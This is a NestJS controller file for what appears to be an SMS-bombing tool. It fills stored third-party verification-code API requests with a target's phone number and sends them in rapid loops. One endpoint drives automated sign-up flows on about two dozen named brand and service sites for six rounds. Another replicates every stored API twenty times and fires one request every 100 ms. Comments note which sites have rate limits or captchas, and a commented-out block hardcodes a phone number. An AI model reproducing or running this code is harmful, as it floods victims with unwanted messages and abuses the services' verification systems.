import { GoodResponse } from './../../../util/response';
import { firstValueFrom } from 'rxjs';
import { XfOcrService } from './../../../service/xf-ocr/xf-ocr.service';
import { ShopSettingService } from 'src/service/shop-setting/shop-setting.service';
import { BombingService } from './../../../service/bombing/bombing.service';
import { ResponseInterceptor } from './../../../interceptor/response/response.interceptor';
import { Body, Controller, Delete, Get, Patch, Post, UseInterceptors, Query, Res } from '@nestjs/common';
import config from 'src/config/config';
import { HttpService } from '@nestjs/axios';
import { CacheService } from 'src/service/cache/cache.service';
import { Browser, Builder, By } from 'selenium-webdriver';
import * as path from 'path';
import * as fs from 'fs';
import * as lodash from 'lodash';

@Controller(`${config.adminPath}/bombing`)
@UseInterceptors(ResponseInterceptor)
export class BombingController {
    public bombingPhone: string;
    constructor(
        private readonly bombingService: BombingService,
        private readonly httpService: HttpService,
        private readonly shopSettingService: ShopSettingService,
        private readonly cacheService: CacheService,
        private readonly xfOcrService: XfOcrService,
    ) {
        // this.getBombing_phone();
        // this.BombInBulk();
        // this.autoBomb();
        // this.getapi();
        // this.bombingService.youku();
    }
    // async getapi() {
    //     let apis = require('../../../../GETAPI.json');
    //     console.log(apis);
    //     apis = apis.map((item, index) => {
    //         const path = item.replace(/\[phone\]/gi, 17607101164);
    //         return path;
    //     });
    //     let currentIndex = 0;
    //     // setInterval(() => {
    //     //     firstValueFrom(this.httpService.get(apis[currentIndex])).then(() => {
    //     //         console.log(`已请求第${currentIndex + 1}条api`);
    //     //     });
    //     //     currentIndex++;
    //     // }, 100);
    //     console.log(apis);
    // }
    @Get('/auto')
    async autoBomb(@Res() res) {
        const list = [
            'meiling',
            'skyworth',
            'xiaozhu2',
            'iautos',
            'hx2car',
            'zhongxinbaocheng',
            'aisi',
            'tripnav',
            'anta',
            'zhongyingrenshou',
            'fude',
            'youzheng',
            'yousu',
            'kuaidi100',
            'xiaotiane',
            'hisense',
            'chuizi',
            'zhouxun',
            'yuantong', //一分钟一次
            'zhaoshangxinnuo', //一分钟一次
            'veer', //一分钟一次
            'guhai',
            'jnesc', //有上限
            'mukewang', //耗时多长，有上限
            'souhu2', //有次数限制，（验证码发送次数太多）,四次左右，图形验证码有时加载不出来
            'dior', //加载慢
            // 'wangyiketang',
            // 'xinpianchang', //15秒一条，每天五条，网站加载慢
        ];
        let loopIndex = 0;
        let roundNum = 0;
        const maxRoundNum = 6;
        const loopBomb = async () => {
            try {
                await this.bombingService[list[loopIndex]]();
            } catch (error) {}
            if (loopIndex >= list.length - 1) {
                roundNum++;
                loopIndex = 0;
                if (roundNum >= maxRoundNum) {
                    await this.bombingService.close();
                    return res.send(GoodResponse(true, `共${maxRoundNum}轮，${list.length * roundNum}条自动化轰炸完毕`));
                }
            }
            loopIndex++;
            loopBomb();
        };
        loopBomb();
    }
    async getBombing_phone() {
        this.bombingPhone = await this.cacheService.get('bombing_phone');
        if (!this.bombingPhone) {
            const shopSetting = await this.shopSettingService.find();
            this.bombingPhone = await shopSetting[0].bombing_phone;
            await this.cacheService.set('bombing_phone', this.bombingPhone, 60 * 60 * 24);
            return this.bombingPhone;
        }
    }
    @Get()
    async find(@Query() query) {
        return await this.bombingService.findByPage(lodash.isEmpty(query) ? undefined : query);
    }
    @Post()
    async create(@Body() body) {
        return await this.bombingService.create(body);
    }
    @Patch()
    async update(@Body() body) {
        return await this.bombingService.update(body);
    }
    @Delete()
    async delete(@Body() body) {
        return await this.bombingService.delete(body);
    }
    @Get('/bomb')
    async startBombing(@Query() query) {
        const ids = query._id.split(',');
        const bombingList = await this.bombingService.getModel().find({ _id: { $in: ids } });
        let bombingPhone = await this.cacheService.get('bombing_phone');
        if (!bombingPhone) {
            const shopSetting = await this.shopSettingService.find();
            bombingPhone = await shopSetting[0].bombing_phone;
            await this.cacheService.set('bombing_phone', bombingPhone, 60 * 60 * 24);
        }
        bombingList.forEach((item) => {
            let { url, data, params, headers } = JSON.parse(JSON.stringify(item));
            const { method } = item;
            if (url) {
                url = url
                    .replace(config.bombingPhonePattern, bombingPhone)
                    .replace(/\[timeStamp\]/gi, Date.now().toString())
                    .replace(/\[random\]/gi, lodash.random(0, 9, false).toString());
            }
            if (params) {
                try {
                    params = JSON.parse(params).reduce((pre, item) => ({ ...pre, ...item }), {});
                    for (const key in params) {
                        const element = params[key];
                        if (
                            typeof element === 'string' &&
                            (config.bombingPhonePattern.test(element) || config.timeStampPattern.test(element))
                        ) {
                            params[key] = element
                                .replace(config.bombingPhonePattern, bombingPhone)
                                .replace(/\[timeStamp\]/gi, Date.now().toString())
                                .replace(/\[random\]/gi, lodash.random(0, 9, false).toString());
                        }
                    }
                } catch {
                    params = null;
                }
            }
            if (data) {
                try {
                    data = JSON.parse(data).reduce((pre, item) => ({ ...pre, ...item }), {});
                    for (const key in data) {
                        const element = data[key];
                        if (
                            typeof element === 'string' &&
                            (config.bombingPhonePattern.test(element) || config.timeStampPattern.test(element))
                        ) {
                            data[key] = element
                                .replace(config.bombingPhonePattern, bombingPhone)
                                .replace(/\[timeStamp\]/gi, Date.now().toString())
                                .replace(/\[random\]/gi, lodash.random(0, 9, false).toString());
                        }
                    }
                } catch {
                    data = null;
                }
            }
            if (headers) {
                try {
                    headers = JSON.parse(headers).reduce((pre, item) => ({ ...pre, ...item }), {});
                    for (const key in headers) {
                        const element = headers[key];
                        if (
                            typeof element === 'string' &&
                            (config.bombingPhonePattern.test(element) || config.timeStampPattern.test(element))
                        ) {
                            headers[key] = element
                                .replace(config.bombingPhonePattern, bombingPhone)
                                .replace(/\[timeStamp\]/gi, Date.now().toString())
                                .replace(/\[random\]/gi, lodash.random(0, 9, false).toString());
                        }
                    }
                } catch {
                    headers = null;
                }
            }
            // console.log({ method, url, params, data, headers });
            this.httpService
                .request({
                    method,
                    url,
                    params,
                    data,
                    headers,
                    timeout: 6 * 6000,
                    withCredentials: true,
                })
                .toPromise()
                .then((res) => {
                    // console.log('config:', res.config);
                    console.log('data:', res.data);
                })
                .catch((err) => {
                    // console.log(err.config);
                    console.log('catch:', err?.response);
                });
        });
        return bombingList;
    }
    @Get('/inBulk')
    async BombInBulk() {
        const roundNum = 20;
        const requestDelay = 100;
        const findResult = await this.bombingService.find();
        const result = Array.from({ length: roundNum }, () => findResult).reduce((pre, item) => [...pre, ...item], []);
        console.log(`原始${findResult.length}条接口，复制后共${result.length}条接口，已开始轰炸`);
        let bombingPhone = await this.cacheService.get('bombing_phone');
        if (!bombingPhone) {
            const shopSetting = await this.shopSettingService.find();
            bombingPhone = await shopSetting[0].bombing_phone;
            await this.cacheService.set('bombing_phone', bombingPhone, 60 * 60 * 24);
        }
        let requestIndex = 0;
        const loopRequest = () => {
            const currentRequestItem = result[requestIndex];

            let { url, data, params, headers } = JSON.parse(JSON.stringify(currentRequestItem));
            const { method } = currentRequestItem;
            if (url) {
                url = url
                    .replace(config.bombingPhonePattern, bombingPhone)
                    .replace(/\[timeStamp\]/gi, Date.now().toString())
                    .replace(/\[random\]/gi, lodash.random(0, 9, false).toString());
            }
            if (params) {
                try {
                    params = JSON.parse(params).reduce((pre, currentRequestItem) => ({ ...pre, ...currentRequestItem }), {});
                    for (const key in params) {
                        const element = params[key];
                        if (
                            typeof element === 'string' &&
                            (config.bombingPhonePattern.test(element) || config.timeStampPattern.test(element))
                        ) {
                            params[key] = element
                                .replace(config.bombingPhonePattern, bombingPhone)
                                .replace(/\[timeStamp\]/gi, Date.now().toString())
                                .replace(/\[random\]/gi, lodash.random(0, 9, false).toString());
                        }
                    }
                } catch {
                    params = null;
                }
            }
            if (data) {
                try {
                    data = JSON.parse(data).reduce((pre, currentRequestItem) => ({ ...pre, ...currentRequestItem }), {});
                    for (const key in data) {
                        const element = data[key];
                        if (
                            typeof element === 'string' &&
                            (config.bombingPhonePattern.test(element) || config.timeStampPattern.test(element))
                        ) {
                            data[key] = element
                                .replace(config.bombingPhonePattern, bombingPhone)
                                .replace(/\[timeStamp\]/gi, Date.now().toString())
                                .replace(/\[random\]/gi, lodash.random(0, 9, false).toString());
                        }
                    }
                } catch {
                    data = null;
                }
            }
            if (headers) {
                try {
                    headers = JSON.parse(headers).reduce((pre, currentRequestItem) => ({ ...pre, ...currentRequestItem }), {});
                    for (const key in headers) {
                        const element = headers[key];
                        if (
                            typeof element === 'string' &&
                            (config.bombingPhonePattern.test(element) || config.timeStampPattern.test(element))
                        ) {
                            headers[key] = element
                                .replace(config.bombingPhonePattern, bombingPhone)
                                .replace(/\[timeStamp\]/gi, Date.now().toString())
                                .replace(/\[random\]/gi, lodash.random(0, 9, false).toString());
                        }
                    }
                } catch {
                    headers = null;
                }
            }
            this.httpService
                .request({
                    url,
                    method,
                    headers,
                    data,
                    params,
                    timeout: 6 * 1000,
                })
                .toPromise()
                .then((res) => {
                    console.log('url: ', res.config.url, 'data:', res.data);
                })
                .catch((error) => {
                    console.log('error ', 'url:', error?.config.url);
                })
                .finally(() => {
                    console.log(`已请求${requestIndex + 1}次`);
                    setTimeout(() => {
                        if (requestIndex < result.length - 1) {
                            requestIndex++;
                            loopRequest();
                        }
                    }, requestDelay);
                });
        };
        loopRequest();
    }
}
